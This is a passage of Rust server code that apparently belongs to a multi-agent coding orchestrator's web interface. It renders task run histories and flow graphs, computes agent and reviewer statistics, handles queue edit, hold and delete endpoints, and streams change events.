4553 rest.split('`').next().filter(|b| !b.is_empty())
4554}
4555
4556struct RunSlot<'a> {
4558 n: usize,
4560 resumed: bool,
4562 resumed_later: Option<usize>,
4564 prior: Option<(&'a str, RunStatus)>,
4566 last: bool,
4567}
4568
4569fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4572 let RunSlot {
4573 n,
4574 resumed,
4575 resumed_later,
4576 prior,
4577 last,
4578 } = at;
4579 let short = run::short_of(id).to_owned();
4580 let Some(s) = state else {
4581 return TaskRunView {
4582 n,
4583 id: id.to_owned(),
4584 short,
4585 kind: "unknown",
4586 status: None,
4587 readable: false,
4588 provisional: false,
4589 description:
4590 "This run's record could not be read by this build (written by a different \
4591 magi, or removed), so what kind of attempt it was is unknown."
4592 .to_owned(),
4593 outcome: String::new(),
4594 created_at: None,
4595 pr: None,
4596 exit: RunExit::Unreadable,
4597 attempt: AttemptCost::Unknown,
4598 branch: None,
4599 };
4600 };
4601 let branch = review_branch_of(&s.instruction);
4602 let kind = if resumed {
4603 "resume"
4604 } else if branch.is_some() {
4605 "review"
4606 } else if task.solo || s.candidates.len() == 1 {
4607 "solo"
4608 } else {
4609 "competition"
4610 };
4611 let mut description = match kind {
4612 "resume" => {
4613 format!("Resumed run {short}: the same run carried on instead of competing again.")
4614 }
4615 "review" => format!(
4616 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4617 branch.unwrap_or_default()
4618 ),
4619 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4620 _ => format!(
4621 "Competition: {} candidates judged blind.",
4622 s.candidates.len().max(1)
4623 ),
4624 };
4625 if !resumed && let Some((p, st)) = prior {
4626 description.push_str(&format!(
4627 " A retry: run {p} before it ended {}.",
4628 st.display_label()
4629 ));
4630 }
4631
4632 let status = s.status;
4633 let provisional = matches!(status, RunStatus::Stalled)
4634 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4635 let head = if resumed_later.is_some() {
4636 String::new()
4637 } else {
4638 match status {
4639 RunStatus::Merged => "Merged.".to_owned(),
4640 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4641 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4642 RunStatus::AlreadyInBase => {
4643 "Already in the base: this change landed under other commits, nothing was left to land."
4644 .to_owned()
4645 }
4646 RunStatus::Stalled => {
4647 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4648 .to_owned()
4649 }
4650 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4651 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4652 RunStatus::VerifiedNoop => {
4653 "Verified no-op: the candidates found nothing to change.".to_owned()
4654 }
4655 other if other.done() => format!("Ended {}.", other.display_label()),
4656 other => format!("In progress ({}).", other.display_label()),
4657 }
4658 };
4659 let why = if let Some(k) = resumed_later {
4660 let cause = if s.quota.is_empty() {
4667 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4668 } else {
4669 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4670 };
4671 format!(
4672 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4673 )
4674 } else if s.parked {
4675 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4676 .to_owned()
4677 } else if !status.done()
4678 || matches!(
4679 status,
4680 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4681 )
4682 {
4683 String::new()
4684 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4685 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4686 {
4687 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4688 .to_owned()
4689 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4690 " It left a pull request open, so the task was held for a person rather than retried."
4691 .to_owned()
4692 } else if matches!(status, RunStatus::VerifiedNoop) {
4693 " Held for a person to check the claim.".to_owned()
4694 } else if last {
4695 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4696 } else {
4697 " It spent an attempt, and the task moved on to the next run.".to_owned()
4698 };
4699 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4700 TaskRunView {
4701 n,
4702 id: id.to_owned(),
4703 short,
4704 kind,
4705 status: Some(status.as_str()),
4706 readable: true,
4707 provisional,
4708 description,
4709 outcome: format!("{head}{why}"),
4710 created_at: Some(s.created_at),
4711 pr: s.pr.as_ref().map(|p| p.url.clone()),
4712 exit,
4713 attempt: exit.cost(),
4714 branch: branch.map(str::to_owned),
4715 }
4716}
4717
4718#[derive(Debug, Serialize, PartialEq)]
4720struct FlowNode {
4721 key: String,
4723 kind: &'static str,
4725 label: String,
4726 status: Option<&'static str>,
4729 status_of: &'static str,
4732 note: Option<&'static str>,
4734 run_kind: Option<&'static str>,
4735 detail: Option<String>,
4736 decided: bool,
4738 readable: bool,
4739 href: Option<String>,
4740}
4741
4742#[derive(Debug, Serialize, PartialEq)]
4743struct FlowEdge {
4744 from: String,
4745 to: String,
4746 label: String,
4747 attempt: AttemptCost,
4748}
4749
4750#[derive(Debug, Serialize, PartialEq)]
4751struct FlowView {
4752 nodes: Vec<FlowNode>,
4753 edges: Vec<FlowEdge>,
4754 attempts: usize,
4756 max_attempts: usize,
4757}
4758
4759fn task_flow(
4768 task: &Task,
4769 history: &[TaskRunView],
4770 max_attempts: usize,
4771 origin: Option<&FollowUpOrigin>,
4772) -> FlowView {
4773 let node = |key: &str, kind, label: String| FlowNode {
4774 key: key.to_owned(),
4775 kind,
4776 label,
4777 status: None,
4778 status_of: "run",
4779 note: None,
4780 run_kind: None,
4781 detail: None,
4782 decided: false,
4783 readable: true,
4784 href: None,
4785 };
4786 let mut nodes = Vec::new();
4787 let mut edges: Vec<FlowEdge> = Vec::new();
4788 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4790 let mut n = node(
4791 "chat",
4792 "chat",
4793 format!("Chat {}", crate::queue::short(&link.id)),
4794 );
4795 n.href = Some(link.href);
4796 nodes.push(n);
4797 edges.push(FlowEdge {
4798 from: "chat".to_owned(),
4799 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4800 label: "queued from chat".to_owned(),
4801 attempt: AttemptCost::None,
4802 });
4803 }
4804 if let Some(o) = origin {
4805 let mut n = match &o.parent {
4806 Some(p) => {
4807 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4808 n.status = Some(p.status);
4809 n.status_of = "task";
4810 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4811 n.href = Some(p.href.clone());
4812 n
4813 }
4814 None => {
4815 let mut n = node(
4816 "origin",
4817 "followup",
4818 format!("Follow-up of run {}", o.run.short),
4819 );
4820 n.detail = Some("merged run".to_owned());
4821 n.status = o.run.status;
4822 n.href = o.run.href.clone();
4823 if o.run.href.is_none() {
4824 n.readable = false;
4825 n.note = Some("unreadable");
4826 }
4827 n
4828 }
4829 };
4830 n.decided = true;
4831 let from = n.key.clone();
4832 nodes.push(n);
4833 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4834 let more = o.findings.len().saturating_sub(shown.len());
4835 let label = match (shown.is_empty(), more) {
4836 (true, _) => "open findings".to_owned(),
4837 (false, 0) => format!("open findings {}", shown.join(", ")),
4838 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4839 };
4840 edges.push(FlowEdge {
4841 from,
4842 to: "start".to_owned(),
4843 label,
4844 attempt: AttemptCost::None,
4845 });
4846 }
4847 nodes.push(node("start", "start", "Task queued".to_owned()));
4848 let mut prev = "start".to_owned();
4849 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4850 for (i, h) in history.iter().enumerate() {
4851 let key = format!("run-{}", h.n);
4852 let mut n = node(&key, "run", format!("Run {}", h.short));
4853 n.run_kind = Some(h.kind);
4854 n.readable = h.readable;
4855 n.href = Some(format!("#/runs/{}", h.id));
4856 n.decided = h.readable && !h.provisional;
4857 n.detail = h
4858 .branch
4859 .as_ref()
4860 .map(|b| format!("review-only run of branch {b}"));
4861 match h.exit {
4862 RunExit::Unreadable => n.note = Some("unreadable"),
4863 RunExit::Interrupted => n.note = Some("interrupted"),
4864 _ => {
4865 n.status = h.status;
4866 if h.provisional {
4867 n.note = Some("no verdict");
4868 }
4869 }
4870 }
4871 let into = match h.kind {
4872 "review" => Some(format!(
4873 "review-only run of branch {}",
4874 h.branch.as_deref().unwrap_or("?")
4875 )),
4876 "resume" => Some("resume the same run".to_owned()),
4877 _ if i > 0 => Some("retry".to_owned()),
4878 _ => None,
4879 };
4880 let label = match (prev_exit, into) {
4881 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4882 (Some((e, st)), None) => e.edge_label(st),
4883 (None, Some(i)) => i,
4884 (None, None) => "claimed".to_owned(),
4885 };
4886 edges.push(FlowEdge {
4887 from: prev.clone(),
4888 to: key.clone(),
4889 label,
4890 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4891 });
4892 prev_exit = Some((h.exit, h.status));
4893 prev = key;
4894 nodes.push(n);
4895 }
4896 let mut end = node("end", "end", task.status.as_str().to_owned());
4897 end.status = Some(task.status.as_str());
4898 end.status_of = "task";
4899 nodes.push(end);
4900 let (label, attempt) = match prev_exit {
4901 None => (
4902 format!("no run yet \u{2192} {}", task.status.as_str()),
4903 AttemptCost::None,
4904 ),
4905 Some((e, st)) if e.explains(task.status) => (
4906 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4907 e.cost(),
4908 ),
4909 Some((e, _)) => (
4910 format!("closed by hand: task is {}", task.status.as_str()),
4911 e.cost(),
4912 ),
4913 };
4914 edges.push(FlowEdge {
4915 from: prev,
4916 to: "end".to_owned(),
4917 label,
4918 attempt,
4919 });
4920 FlowView {
4921 nodes,
4922 edges,
4923 attempts: task.attempts,
4924 max_attempts,
4925 }
4926}
4927
4928fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4931 let mut history = Vec::with_capacity(task.runs.len());
4932 let mut seen: Vec<&str> = Vec::new();
4933 let mut prior: Option<(&str, RunStatus)> = None;
4934 for (i, run_id) in task.runs.iter().enumerate() {
4935 let state = read(run_id);
4936 let resumed = seen.contains(&run_id.as_str());
4937 seen.push(run_id);
4938 history.push(task_run_view(
4939 run_id,
4940 state.as_ref(),
4941 RunSlot {
4942 n: i + 1,
4943 resumed,
4944 resumed_later: task.runs[i + 1..]
4945 .iter()
4946 .position(|r| r == run_id)
4947 .map(|off| i + off + 2),
4948 prior,
4949 last: i + 1 == task.runs.len(),
4950 },
4951 task,
4952 ));
4953 if let Some(s) = &state {
4954 prior = Some((run::short_of(run_id), s.status));
4955 }
4956 }
4957 history
4958}
4959
4960async fn task_detail(
4961 State(ui): State<Arc<Ui>>,
4962 Path(id): Path<String>,
4963) -> ApiResult<Json<TaskDetailView>> {
4964 blocking(move || {
4965 let id = resolve_task(&ui.queue, &id)?;
4966 let task = ui
4967 .queue
4968 .get(&id)
4969 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4970 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4971 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4972 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4973 let max_attempts = daemon::Opts::default().max_attempts;
4974 let origin = task.followup.as_ref().map(|fu| {
4975 followup_origin(
4976 fu,
4977 |tid| ui.queue.get(tid).ok(),
4978 |rid| read_run(&ui.runs, rid).ok(),
4979 )
4980 });
4981 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4982 Ok(Json(TaskDetailView {
4983 max_attempts,
4984 flow,
4985 followup_origin: origin,
4986 history,
4987 runs_unreadable,
4988 attempts_note: ATTEMPTS_NOTE,
4989 task: TaskView::with_inventory(task, &inv),
4990 }))
4991 })
4992 .await
4993}
4994
4995#[derive(Debug, Serialize)]
4999struct RateView {
5000 pct: f64,
5001 denominator: usize,
5002}
5003
5004impl RateView {
5005 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5006 (denominator > 0).then(|| Self {
5007 pct: 100.0 * numerator as f64 / denominator as f64,
5008 denominator,
5009 })
5010 }
5011}
5012
5013#[derive(Debug, Serialize)]
5018struct StatsTotalsView {
5019 runs: usize,
5020 merged: usize,
5021 ready: usize,
5022 blocked: usize,
5023 failed: usize,
5024 stalled: usize,
5025 verified_noop: usize,
5026 superseded: usize,
5027 in_progress: usize,
5028 completion_rate: Option<RateView>,
5029 tallied: usize,
5030 split: usize,
5031 split_rate: Option<RateView>,
5032 deliberated: usize,
5033 minds_changed: usize,
5034 converged: usize,
5035 review_rounds: usize,
5036}
5037
5038impl From<&stats::Totals> for StatsTotalsView {
5039 fn from(t: &stats::Totals) -> Self {
5040 Self {
5041 runs: t.runs,
5042 merged: t.merged,
5043 ready: t.ready,
5044 blocked: t.blocked,
5045 failed: t.failed,
5046 stalled: t.stalled,
5047 verified_noop: t.verified_noop,
5048 superseded: t.superseded,
5049 in_progress: t.in_progress,
5050 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5051 tallied: t.tallied,
5052 split: t.split,
5053 split_rate: RateView::of(t.split, t.tallied),
5054 deliberated: t.deliberated,
5055 minds_changed: t.minds_changed,
5056 converged: t.converged,
5057 review_rounds: t.review_rounds,
5058 }
5059 }
5060}
5061
5062#[derive(Debug, Serialize)]
5064struct AgentStatsView {
5065 agent: String,
5066 entered: usize,
5067 wins: usize,
5068 empty: usize,
5069 win_rate: Option<RateView>,
5070 competitive_entered: usize,
5071 competitive_wins: usize,
5072 competitive_win_rate: Option<RateView>,
5073 solo_entered: usize,
5074 solo_adopted: usize,
5075 solo_adoption_rate: Option<RateView>,
5076}
5077
5078impl From<&stats::AgentStats> for AgentStatsView {
5079 fn from(a: &stats::AgentStats) -> Self {
5080 Self {
5081 agent: a.agent.clone(),
5082 entered: a.entered,
5083 wins: a.wins,
5084 empty: a.empty,
5085 win_rate: RateView::of(a.wins, a.entered),
5086 competitive_entered: a.competitive_entered,
5087 competitive_wins: a.competitive_wins,
5088 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5089 solo_entered: a.solo_entered,
5090 solo_adopted: a.solo_adopted,
5091 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5092 }
5093 }
5094}
5095
5096#[derive(Debug, Serialize)]
5100struct ReviewerStatsView {
5101 agent: String,
5102 rounds: usize,
5103 seated: usize,
5104 submitted: usize,
5105 adopted: usize,
5106 unique: usize,
5107 timeouts: usize,
5108 adopted_per_round: Option<f64>,
5109 precision: Option<RateView>,
5110 unique_rate: Option<RateView>,
5111 timeout_rate: Option<RateView>,
5112}
5113
5114impl From<&stats::ReviewerStats> for ReviewerStatsView {
5115 fn from(r: &stats::ReviewerStats) -> Self {
5116 Self {
5117 agent: r.agent.clone(),
5118 rounds: r.rounds,
5119 seated: r.seated,
5120 submitted: r.submitted,
5121 adopted: r.adopted,
5122 unique: r.unique,
5123 timeouts: r.timeouts,
5124 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5125 precision: RateView::of(r.adopted, r.submitted),
5126 unique_rate: RateView::of(r.unique, r.submitted),
5127 timeout_rate: RateView::of(r.timeouts, r.seated),
5128 }
5129 }
5130}
5131
5132#[derive(Debug, Serialize)]
5138struct AdvisorStatsView {
5139 agent: String,
5140 seated: usize,
5141 proposed: usize,
5142 absent: usize,
5143 faint: usize,
5144 strong: usize,
5145 reflection_rate: Option<RateView>,
5146}
5147
5148impl From<&stats::AdvisorStats> for AdvisorStatsView {
5149 fn from(a: &stats::AdvisorStats) -> Self {
5150 Self {
5151 agent: a.agent.clone(),
5152 seated: a.seated,
5153 proposed: a.proposed,
5154 absent: a.absent,
5155 faint: a.faint,
5156 strong: a.strong,
5157 reflection_rate: RateView::of(a.strong, a.proposed),
5158 }
5159 }
5160}
5161
5162#[derive(Debug, Serialize)]
5164struct E2eStatsView {
5165 rounds: usize,
5166 failures: usize,
5167 sole_detections: usize,
5168 deferred: usize,
5169 sole_rate: Option<RateView>,
5170}
5171
5172impl From<&stats::E2eStats> for E2eStatsView {
5173 fn from(e: &stats::E2eStats) -> Self {
5174 Self {
5175 rounds: e.rounds,
5176 failures: e.failures,
5177 sole_detections: e.sole_detections,
5178 deferred: e.deferred,
5179 sole_rate: RateView::of(e.sole_detections, e.failures),
5180 }
5181 }
5182}
5183
5184#[derive(Debug, Serialize)]
5192struct ReleaseBumpStatsView {
5193 merged: usize,
5194 recorded: usize,
5195 pr_opened: usize,
5196 automerge_enabled: usize,
5197 merged_directly: usize,
5198 needs_attention: usize,
5199 clean: usize,
5200 coverage_rate: Option<RateView>,
5201 automerge_rate: Option<RateView>,
5202 attention_rate: Option<RateView>,
5203}
5204
5205impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5206 fn from(b: &stats::ReleaseBumpStats) -> Self {
5207 Self {
5208 merged: b.merged,
5209 recorded: b.recorded,
5210 pr_opened: b.pr_opened,
5211 automerge_enabled: b.automerge_enabled,
5212 merged_directly: b.merged_directly,
5213 needs_attention: b.needs_attention,
5214 clean: b.clean(),
5215 coverage_rate: RateView::of(b.recorded, b.merged),
5216 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5217 attention_rate: RateView::of(b.needs_attention, b.recorded),
5218 }
5219 }
5220}
5221
5222#[derive(Debug, Serialize)]
5224struct TaskCountsView {
5225 queued: usize,
5226 running: usize,
5227 done: usize,
5228 failed: usize,
5229 held: usize,
5230 blocked: usize,
5231 parked: usize,
5232}
5233
5234impl From<crate::queue::TaskCounts> for TaskCountsView {
5235 fn from(c: crate::queue::TaskCounts) -> Self {
5236 Self {
5237 queued: c.queued,
5238 running: c.running,
5239 done: c.done,
5240 failed: c.failed,
5241 held: c.held,
5242 blocked: c.blocked,
5243 parked: c.parked,
5244 }
5245 }
5246}
5247
5248#[derive(Debug, Serialize)]
5254struct RepoSummaryView {
5255 repo: String,
5258 name: String,
5260 runs: usize,
5261 completion_rate: Option<RateView>,
5262}
5263
5264impl From<&stats::RepoStats> for RepoSummaryView {
5265 fn from(r: &stats::RepoStats) -> Self {
5266 let t = &r.stats.totals;
5267 Self {
5268 repo: r.repo.to_string_lossy().into_owned(),
5269 name: r.name.clone(),
5270 runs: t.runs,
5271 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5272 }
5273 }
5274}
5275
5276#[derive(Debug, Serialize)]
5282struct StatsView {
5283 totals: StatsTotalsView,
5284 agents: Vec<AgentStatsView>,
5286 reviewers: Vec<ReviewerStatsView>,
5288 advisors: Vec<AdvisorStatsView>,
5290 e2e: E2eStatsView,
5291 release_bumps: ReleaseBumpStatsView,
5292 queue: TaskCountsView,
5293 runs_unreadable: usize,
5303 repos: Vec<RepoSummaryView>,
5307 daily: Vec<DailyStatsView>,
5312 repo: Option<String>,
5316 retired_hidden: Vec<String>,
5320}
5321
5322#[derive(Debug, Serialize)]
5324struct DailyStatsView {
5325 date: String,
5327 runs: usize,
5328 merged: usize,
5329 ready: usize,
5330 other: usize,
5331 completion_rate: Option<RateView>,
5333}
5334
5335impl From<&stats::DayBucket> for DailyStatsView {
5336 fn from(b: &stats::DayBucket) -> Self {
5337 Self {
5338 date: b.date.to_string(),
5339 runs: b.runs,
5340 merged: b.merged,
5341 ready: b.ready,
5342 other: b.other,
5343 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5344 }
5345 }
5346}
5347
5348const STATS_DAILY_DAYS: usize = 30;
5350
5351#[derive(Debug, Default, Deserialize)]
5360#[serde(default)]
5361struct StatsQuery {
5362 repo: Option<String>,
5363 all: bool,
5365}
5366
5367async fn stats_get(
5374 State(ui): State<Arc<Ui>>,
5375 Query(q): Query<StatsQuery>,
5376) -> ApiResult<Json<StatsView>> {
5377 blocking(move || {
5378 let states: Vec<RunState> = run_ids(&ui.runs)
5379 .into_iter()
5380 .filter_map(|id| read_run(&ui.runs, &id).ok())
5381 .collect();
5382 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5383 .iter()
5384 .map(RepoSummaryView::from)
5385 .collect();
5386 let mut scoped: Vec<&RunState> = states.iter().collect();
5387 let mut collected = match &q.repo {
5388 Some(repo) => {
5389 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5390 if filtered.is_empty() {
5391 return Err(ApiError::not_found(format!(
5392 "no runs recorded against repo `{repo}`"
5393 )));
5394 }
5395 scoped = filtered.clone();
5396 stats::collect_refs(filtered)
5397 }
5398 None => stats::collect(&states),
5399 };
5400 if !q.all {
5401 let repo = q
5402 .repo
5403 .as_deref()
5404 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5405 stats::retain_current_roster(&mut collected, &repo);
5406 }
5407 let daily = stats::daily(
5408 scoped,
5409 jiff::Zoned::now().date(),
5410 &jiff::tz::TimeZone::system(),
5411 STATS_DAILY_DAYS,
5412 );
5413 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5414 Ok(Json(StatsView {
5415 totals: StatsTotalsView::from(&collected.totals),
5416 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5417 reviewers: collected
5418 .reviewers
5419 .iter()
5420 .map(ReviewerStatsView::from)
5421 .collect(),
5422 advisors: collected
5423 .advisors
5424 .iter()
5425 .map(AdvisorStatsView::from)
5426 .collect(),
5427 e2e: E2eStatsView::from(&collected.e2e),
5428 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5429 queue: TaskCountsView::from(queue_counts),
5430 runs_unreadable: runs_unreadable(&ui.runs),
5431 repos,
5432 daily: daily.iter().map(DailyStatsView::from).collect(),
5433 repo: q.repo.clone(),
5434 retired_hidden: collected.retired_hidden.clone(),
5435 }))
5436 })
5437 .await
5438}
5439
5440#[derive(Debug, Default, Deserialize)]
5443#[serde(default, deny_unknown_fields)]
5444struct HoldBody {
5445 reason: Option<String>,
5446}
5447
5448async fn queue_hold(
5449 State(ui): State<Arc<Ui>>,
5450 Path(id): Path<String>,
5451 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5452) -> ApiResult<Json<TaskView>> {
5453 let body = match body {
5457 Ok(Json(body)) => body,
5458 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5459 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5460 };
5461 let reason = body.reason.filter(|r| !r.trim().is_empty());
5462 mutate(ui, id, move |t| {
5463 t.hold_manual(reason.clone());
5464 Ok(())
5465 })
5466 .await
5467}
5468
5469async fn queue_release(
5470 State(ui): State<Arc<Ui>>,
5471 Path(id): Path<String>,
5472) -> ApiResult<Json<TaskView>> {
5473 mutate(ui, id, |t| {
5474 t.release();
5475 Ok(())
5476 })
5477 .await
5478}
5479
5480#[derive(Debug, Deserialize)]
5481#[serde(deny_unknown_fields)]
5482struct ImplementersBody {
5483 implementers: u8,
5484}
5485
5486async fn queue_implementers(
5487 State(ui): State<Arc<Ui>>,
5488 Path(id): Path<String>,
5489 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5490) -> ApiResult<Json<TaskView>> {
5491 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5492 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5493}
5494
5495#[derive(Debug, Deserialize)]
5497#[serde(deny_unknown_fields)]
5498struct PriorityBody {
5499 priority: i32,
5500}
5501
5502async fn queue_priority(
5508 State(ui): State<Arc<Ui>>,
5509 Path(id): Path<String>,
5510 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5511) -> ApiResult<Json<TaskView>> {
5512 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5513 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5514}
5515
5516#[derive(Debug, Deserialize)]
5518#[serde(deny_unknown_fields)]
5519struct EditBody {
5520 title: String,
5521 instruction: String,
5522 #[serde(default)]
5525 force: bool,
5526}
5527
5528async fn queue_edit(
5532 State(ui): State<Arc<Ui>>,
5533 Path(id): Path<String>,
5534 body: std::result::Result<Json<EditBody>, JsonRejection>,
5535) -> ApiResult<Json<TaskView>> {
5536 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5537 let mut judged: Option<(String, PathBuf)> = None;
5541 if !body.force {
5542 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5543 let (id, text) = (id.clone(), body.instruction.clone());
5544 let (seen, hits) = blocking(move || {
5545 let id = resolve_task(&queue, &id)?;
5546 let t = queue.get(&id)?;
5547 if text == t.instruction {
5548 return Ok((None, Vec::new()));
5549 }
5550 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5551 Ok((Some((t.instruction, t.repo)), hits))
5552 })
5553 .await?;
5554 if let Some((_, repo)) = &seen {
5555 let cfg = crate::config::Config::discover(repo, None)
5556 .ok()
5557 .map(|(c, _)| c);
5558 let screened =
5559 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5560 .await
5561 .map_err(|dup| {
5562 ApiError::conflict(dup.render(
5563 "Nothing was saved. If it is not a duplicate, repeat the request \
5564 with \"force\": true.",
5565 ))
5566 })?;
5567 if let crate::dupes::Screened::Unjudged(why) = screened {
5568 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5569 }
5570 }
5571 judged = seen;
5572 }
5573 let force = body.force;
5574 mutate(ui, id, move |t| {
5575 if !force && body.instruction != t.instruction {
5576 match &judged {
5577 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5578 _ => {
5579 anyhow::bail!("the task changed while it was being checked; repeat the request")
5580 }
5581 }
5582 }
5583 t.edit(body.title.clone(), body.instruction.clone())
5584 })
5585 .await
5586}
5587
5588async fn queue_done(
5596 State(ui): State<Arc<Ui>>,
5597 Path(id): Path<String>,
5598) -> ApiResult<Json<TaskView>> {
5599 let home = ui.home.clone();
5600 mutate(ui, id, move |t| {
5601 t.succeed();
5602 crate::daemon::supersede_prior_runs(t, &home);
5610 Ok(())
5611 })
5612 .await
5613}
5614
5615async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5623 blocking(move || {
5624 let id = resolve_task(&ui.queue, &id)?;
5625 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5626 ui.queue
5627 .remove(&id, in_flight, &ui.questions)
5628 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5629 Ok(StatusCode::NO_CONTENT)
5630 })
5631 .await
5632}
5633
5634async fn mutate(
5643 ui: Arc<Ui>,
5644 id: String,
5645 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5646) -> ApiResult<Json<TaskView>> {
5647 blocking(move || {
5648 let id = resolve_task(&ui.queue, &id)?;
5649 let _claim = ui.queue.claim(&id).map_err(|e| {
5654 ApiError::conflict(format!(
5655 "{e:#} - a daemon is running this task, so it cannot be \
5656 changed from here yet"
5657 ))
5658 })?;
5659 let mut task = ui.queue.get(&id)?;
5660 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5661 Ok(dup) => ApiError::conflict(dup.render(
5662 "Nothing was saved. If it is not a duplicate, repeat the request with \
5663 \"force\": true.",
5664 )),
5665 Err(e) => ApiError::bad_request_from(e),
5666 })?;
5667 ui.queue.put(&mut task)?;
5668 Ok(Json(TaskView::from(task)))
5669 })
5670 .await
5671}
5672
5673async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5681 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5682 tokio::spawn(async move {
5683 let mut ticker = tokio::time::interval(POLL);
5684 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5685 let mut stamps: Option<[Stamps; 3]> = None;
5686 loop {
5687 ticker.tick().await;
5690 let state = Arc::clone(&ui);
5691 let revisions = tokio::task::spawn_blocking(move || {
5692 let stamps = [
5693 store_stamps(state.queue.root(), false),
5694 store_stamps(&state.runs, true),
5695 store_stamps(state.talks.root(), false),
5696 ];
5697 let revisions = (
5698 stamps_revision(&stamps[0]),
5699 stamps_revision(&stamps[1]),
5700 state.questions.revision(),
5701 stamps_revision(&stamps[2]),
5702 state.notices.revision(),
5703 state.lock_loop().rev,
5707 );
5708 (revisions, stamps)
5709 })
5710 .await;
5711 let Ok((revisions, next_stamps)) = revisions else {
5712 break;
5713 };
5714 if last == Some(revisions) {
5715 continue;
5716 }
5717 let mut payload = serde_json::json!({
5718 "queue_rev": revisions.0,
5719 "runs_rev": revisions.1,
5720 "questions_rev": revisions.2,
5721 "talks_rev": revisions.3,
5722 "notifications_rev": revisions.4,
5723 "loop_rev": revisions.5,
5724 });
5725 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5726 for (index, (key, rev)) in [
5727 ("queue_delta", base.0),
5728 ("runs_delta", base.1),
5729 ("talks_delta", base.3),
5730 ]
5731 .into_iter()
5732 .enumerate()
5733 {
5734 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5735 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5737 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5738 }
5739 }
5740 }
5741 last = Some(revisions);
5742 stamps = Some(next_stamps);
5743 let Ok(event) = Event::default().event("change").json_data(payload) else {
5745 break;
5746 };
5747 if tx.send(event).await.is_err() {
5748 break;
5749 }
5750 }
5751 });
5752 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5753 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5754}
5755
